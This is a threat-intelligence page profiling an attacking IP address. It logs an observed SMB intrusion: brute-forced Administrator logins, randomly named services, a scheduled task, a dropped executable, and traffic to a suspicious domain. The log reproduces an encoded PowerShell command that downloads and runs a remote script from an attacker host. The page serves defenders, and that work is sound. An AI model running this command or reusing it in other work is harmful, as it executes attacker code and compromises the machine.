Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 180.179.192.92Previously Malicious

IP Address: 180.179.192.92Previously Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

Outgoing Connection SMB Null Session Login File Operation By CMD SMB Share Connect Scheduled Task Creation IDS - A Network Trojan was detected Service Creation Download File Service Start Service Deletion PowerShell Access Suspicious Domain DNS Query Listening SMB CMD Successful SMB Login

Associated Attack Servers

parklogic.com

72.52.178.23

Basic Information

IP Address

180.179.192.92

Domain

-

ISP

Netmagic Datacenter

Country

India

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2020-12-04

Last seen in Akamai Guardicore Segmentation

2022-11-15

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts

Successful SMB Login

IDS detected A Network Trojan was detected : Powershell Activity Over SMB - Likely Lateral Movement

IDS - A Network Trojan was detected

c:\windows\system32\services.exe installed and started as a service named Bkyr under service group None

Service Start Service Creation

The command line powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBpAG4AZwAuAHAAcgBvAHQAbwBwAG8AdwBlAHIALgBpAGMAdQAvAGMAbwBrADkALgBqAHMAJwApAA== was scheduled to run by modifying C:\Windows\System32\Tasks\AutFree

Process netsvcs Service Group started listening on ports: 65531 and 65532

Listening

c:\windows\system32\services.exe installed and started cmd as a service named BuNq under service group None

Service Start Service Creation

C:\windows\temp\ggx.exe was downloaded

Download File

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User 10 times

Successful SMB Login

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: bing.protopower.icu

DNS Query Access Suspicious Domain Outgoing Connection

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe generated outgoing network traffic to: 72.52.178.23:80

Outgoing Connection

c:\windows\system32\services.exe installed and started as a service named cHkm under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named OzkE under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named aPJP under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named TxCe under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed as a service named ePzC under service group None

Service Creation

Connection was closed due to timeout